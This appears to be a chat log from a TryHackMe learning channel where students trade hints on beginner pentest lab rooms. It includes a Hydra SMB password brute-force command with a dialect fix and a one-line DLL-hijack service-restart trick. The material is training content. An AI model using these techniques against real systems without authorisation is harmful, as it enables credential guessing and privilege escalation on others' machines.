Hello again, I am on Network Security - Protocols and Servers Task 3 Hypertext Transfer Protocol (HTTP). I connected to with Telnet but I'm not sure how to retrieve the flag. Can someone give me a hint please of what to do next? Thanks very much.😃

[runic lily]

What did you request?

You need to do 3 steps

1. Establish a telnet connection
2. Request the flag
3. Define a host value

From what I see in your screenshot, you requested the wrong page... Looks like /

[nocturne pivot]

@runic lily thanks alot I figured it out😀

[next lance]

Gave +1 Rep to @runic lily

[nocturne pivot]

Yes I was requesting the wrong page

[meager kestrel]

Hey do you guys have any learning path for pentest beginners? I have some experience with web programming but nothing related to hacking.

[robust whale]

In https://tryhackme.com/room/burpsuiteom Task 8 requires you to capture a request from the admin/login endpoint of the target and send this to sequencer. It then tells you to change the Token Location Within Response to "Form field". However, the request captured from the login form is a POST method and so that "Form field" is not possible. Only by changing the request method (to GET) and then sending it to sequencer is it now possible.

I'm not sure if this was intentionally left out of the task description to make someone work it out themselves but if not, it may trip up a lot of people trying to complete this task.

[shadow echo]

Did you capture the request to the login page or the request while trying to login ?

[robust whale]

While trying to login

[shadow echo]

Okay, then that's not what the task wanted you to do, as far as I saw that task

[robust whale]

When I changed it to GET method the request was exactly the same though? Hmm, so it wanted me to capture the request while loading the page itself? Not the request of trying to login? Guess I misunderstood then

[shadow echo]

Yes, to the page itself

[delicate plover]

Hey guys! I got stuck on Jr. pentest intro to webhacking Content Discovery - Favicon

I cant seem to find the answer for the question about the favicon framework in the OWASP database

I've found the md5 hash and checked the OWASP database but I don't know what do to after that, is there anyone that can help me?

[cinder forge]

Have you found the service associated to that hash?

[delicate plover]

Thank you for helping me, I’ve talked to some guys on vc and they’ve helped me! Thank you guys again ❤️

[next lance]

Gave +1 Rep to @cinder forge

[manic solar]

Hi there, what was the solution for this?
Edit:|| figure it out myself, so just I sign out so the service stopped, then run "sc start dllsvc", it will then execute the command that you have added to the dll file. 🙂||

[exotic lava]

I am doing Burpe Intruder Task 11 I am wondering if i have this setup correctly

[sage current]

think step should be 1 but not 100% sure on that

other then that it looks correct

[exotic lava]

Is there an easier way to search for this flag lol thats a lot of results

[sage current]

in the list it shows the results you can sort it by response by clicking that thingy in the top bar

which will list the 200 ok responses at the top

which are the ones you are looking for

[exotic lava]

all of them are 200

[sage current]

ooh then something is obviously wrong

maybe check on content length then

if all the content lengths are the same too there is something else wrong

[exotic lava]

idang

[sage current]

would assume you are injecting the numbers in the wrong place for intruder if you still have problems

[shadow echo]

Show a screenshot of your request in the positions tab of intruder pls

[exotic lava]

One sec

yeah i think im doing something wrong now i am getting one 200 status code all others are 302

[shadow echo]

That request is not right, it has to /support/ticket/NUMBER but your request is just to /support

[runic lily]

hydra -l USERNAME -P WORDLIST smb://IP:PORT won't find a valid password - metasploit scanner/smb/smb_login finds a valid password (same wordlist and username) 🤨

SOLUTION:
hydra -l USERNAME -P WORDLIST smb://IP:PORT -m "LMV2"

For those who want to dig a bit deeper, there might be a possibility to determine the used authentication protocol with wireshark, but I wasn't able to do so atm (https://richardkok.wordpress.com/2011/02/03/wireshark-determining-a-smb-and-ntlm-version-in-a-windows-environment/)

[wintry thunder]

I figured out what i was doing wrong with the XSS room I was typing in the IP address with dashes instead of dots...derp

[modest arch]

br0thers! all the best to you all on this path

[delicate plover]

https://theasciicode.com.ar

|

[runic lily]

Thx, but the problem was that hydra uses NTLM as the default dialect, but I needed to switch to LMV2. Currently I'm trying to figure out, if there's a possibility to check which dialect is currently in use

[signal oak]

hi

[next lance]

Gave +1 Rep to @runic lily

[tough shore]

Hello, just want to ask if you guys have the commands for the junior pentester path? Im just starting the course and hoping you can share the commands via notepad. Seems i can't copy and paste the command from the guide to the linux termina dunno why.

[robust whale]

I'm currently stuck on the final quesiton of Task 2 of the metasploitexploitation room. I've run the smb_login module. I've set my rhosts and my pasS_file but when I run, I get the following error:

[*] 10.10.5.162:445       - Error: 10.10.5.162: Metasploit::Framework::LoginScanner::Invalid Cred details can't be blank, Cred details can't be blank (Metasploit::Framework::LoginScanner::SMB)
[*] 10.10.5.162:445       - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed```

[shadow echo]

Show a screenshot of your options pls

[robust whale]

I restarted the attackbox and it worked after that 🤷‍♂️ . Didn't do anything differently

[light frigate]

Hi, can you please tell me in what order and what paths should I be doing on TryHackMe? I am a beginner and would like to start from scratch to an advanced level of pen penetration testing.

It's worth paying for places like THM, so buying a subscription is not a problem 🙂 I already did the tracks a long time ago, so I have level 8 on THM, but I haven't done anything for a long time and now I would like to make a sensible learning plan. I have been working as a programmer for 8 years, and I have Linux SysOps certificates, so it might help me a bit.

[light frigate]

Next after Junior is Offensive Security?

Ok, thanks for help 🙂 I did Offensive Security path as first, few months ago, but I completely don't understood what going on 😄

[final perch]

That makes sense lol

I mean damn I barely understood what I was doing in this path

Let’s see if I can bang out windows priv esc in one day

[final perch]

Not sure if I'm blind or an idiot but I can't seem to find the credentials to connect to the windowsprivesc box lol

Thank god lol